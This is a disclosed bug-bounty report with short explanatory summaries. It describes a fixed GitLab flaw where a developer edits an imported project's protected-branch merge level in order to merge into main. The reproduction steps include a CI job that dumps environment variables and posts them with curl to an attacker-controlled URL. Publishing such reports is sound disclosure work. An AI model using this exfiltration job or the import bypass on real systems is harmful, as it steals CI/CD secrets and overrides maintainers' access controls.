User with developer role (group) can modify Protected branches -> Allowed to merge setting on imported project
A user with the developer role could modify the protected branch merge access level in an imported project's configuration file, allowing them to merge into protected branches without maintainer approval. This let them run a pipeline on a protected branch and exfiltrate masked CI/CD variables.
GitLab
Originally disclosed on GitLab
- Fixed in 2 months
- Disclosed after 2 months
HackerOne report #1485381 by justas_b on 2022-02-18, assigned to @nmalcolm:
Report | Attachments | How To Reproduce
Report
Hello,
Summary
A user with developer role (group) can steal masked group/project CI/CD variables by modifying Project settings -> Protected branches -> Allowed to merge setting on imported project (tree/project/protected_branches.ndjson file).
Steps to reproduce
- Create 2 accounts
- Create a group with account A and masked CI/CD group variables (Group settings -> CI/CD -> Variables)

- Create a personal project with account B and export it
- Invite account B (developer) to account A's (owner) group
- With account B, modify the project import file, go to tree/project/protected_branches.ndjson
- Change the "merge_access_levels":[{"access_level":}] value to 30 if its 40

- Upload the modified project to account A's group with account B
- By default, only maintainers are allowed to merge into protected branches ("merge_access_levels":[{"access_level":}] is 40 - 40 = maintainer, 30 = developer, etc.)
- Create a new branch with account B (developer)
- Add the following .gitlab-ci.yml file to the newly created branch and create a merge request
image: ruby:latest
job_name2:
script:
- export > test.txt
- curl -X POST --data "$(cat test.txt)" (attacker controlled website's url)

[REDACTED]
- Merge the newly created branch into main (protected) branch (with account B - developer)

- A pipeline run against a protected branch will send sensitive data to attackers website using curl
[REDACTED]
The impact is pretty similar to my other report #1256017
What is the current bug behavior?
It is possible to modify the "merge_access_levels":[{"access_level":} value on imported projects
What is the expected correct behavior?
The "merge_access_levels":[{"access_level":} should always be default - 40
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)
Output of checks
This bug happens on GitLab.com
Impact
User with developer role (group) can steal masked group and project CI/CD variables. Developer can also modify main branch without maintainer's permission.
Attachments
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the project import process did not validate or enforce the default access level for protected branches, allowing a developer to set a lower access level.
Impact
A developer could steal masked CI/CD variables and modify protected branches without maintainer permission.
What the attacker needed
Developer role in a group; ability to import a project
How it was found
- Create two accounts and a group with masked CI/CD variables.
- Create and export a personal project with the second account.
- Invite the second account as a developer to the group.
- Modify the protected_branches.ndjson file in the export to change merge_access_levels to 30.
- Upload the modified project to the group.
- Create a branch with a malicious .gitlab-ci.yml, merge it into the protected branch, and trigger a pipeline that exfiltrates variables.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In GitLab, protected branches normally only allow maintainers to merge changes. A developer could change a setting in a project import file to lower that requirement to developer level, then merge code that runs a pipeline and sends secret variables to an attacker's server.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.